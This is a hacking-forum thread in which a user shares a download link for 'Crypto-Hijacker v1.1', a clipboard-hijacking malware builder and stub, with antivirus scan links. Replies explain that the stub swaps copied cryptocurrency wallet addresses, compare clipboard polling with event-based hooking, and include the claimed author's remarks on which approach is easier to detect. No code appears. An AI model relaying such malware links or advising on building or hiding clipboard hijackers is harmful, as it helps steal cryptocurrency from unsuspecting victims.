+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Hacking Tools (https://sinister.li/Forum-Hacking-Tools)
+--- Thread: Crypto-Hijacker v1.1 (/Thread-Crypto-Hijacker-v1-1)
Crypto-Hijacker v1.1 - fsociety - 08-16-2018
Today i am sharing this crypto hijacker but i donot know about it that why i donot run in my computer if any one know what it is and what is does please explain in detail .(i know its a mining software but i want in detail).
Download link-https://getlink.pw/XYUxjm
virus report-https://www.virustotal.com/#/file/651c09c6f9c12dc81f3bb4246834e54324d0737cfd358c289ce807f96576b0c9/detection
RE: Crypto-Hijacker v1.1 - reGEN - 08-17-2018
builder.exe VT (0/68): https://www.virustotal.com/#/file/5e16777f578570815372d5111f960825d8b1fe35409081e98920dc56357e9434/detection
stub.exe VT (20/65 MSIL.Krypt): https://www.virustotal.com/#/file/2c77b9bfd8d0f4e509107fae0d0386614f7f66f6e768c75c61b05a9f93431ab7/detection
Here's how it works: the stub just checks the clipboard for a cryptowallet address and if it matches the pattern, it will replace it. Nothing special, see this everywhere.
RE: Crypto-Hijacker v1.1 - mothered - 08-17-2018
(08-17-2018, 02:29 AM)reGEN Wrote: Here's how it works: the stub just checks the clipboard for a crypto address and if it matches the pattern, it will replace it.
Clever, but very much a commonality.
Thanks for the breakdown of both virus scan reports.
RE: Crypto-Hijacker v1.1 - reGEN - 08-17-2018
(08-17-2018, 04:23 AM)mothered Wrote:(08-17-2018, 02:29 AM)reGEN Wrote: Here's how it works: the stub just checks the clipboard for a crypto address and if it matches the pattern, it will replace it.
Clever, but very much a commonality.
Thanks for the breakdown of both virus scan reports.
The way this sample does it is very inefficient as it uses an infinite while loop polling method. Other samples that I've seen - I think it was Evrial - subscribe to an event where the clipboard is activated and then performs its checks and replacement if necessary. I hereby declare that this sample is trash! BANISH IT TO THE SHADOW REALM!
RE: Crypto-Hijacker v1.1 - mothered - 08-17-2018
(08-17-2018, 04:44 AM)reGEN Wrote:(08-17-2018, 04:23 AM)mothered Wrote:(08-17-2018, 02:29 AM)reGEN Wrote: Here's how it works: the stub just checks the clipboard for a crypto address and if it matches the pattern, it will replace it.
Clever, but very much a commonality.
Thanks for the breakdown of both virus scan reports.
The way this sample does it is very inefficient as it uses an infinite while loop polling method. Other samples that I've seen - I think it was Evrial - subscribe to an event where the clipboard is activated and then performs its checks and replacement if necessary. I hereby declare that this sample is trash! BANISH IT TO THE SHADOW REALM!
I was under the Impression It works similar to this.
Quote:subscribe to an event where the clipboard is activated and then performs its checks and replacement if necessary
As per your explanation, good to know It's (mediocre) method.
RE: Crypto-Hijacker v1.1 - Leper1337 - 08-17-2018
This is my program lmao.
Yeah that’s the pretty much only flaw of the program, though the timeout and infinite loop produce almost no CPU usage and they will do the same job as the event handle.
As for the Kryptik detection it’s probably because of similar string usage in a RT crypter which I've made.
Also for the event handling, it's more efficient in performance (maybe a few ms faster than my method), but it's easier to detect imo.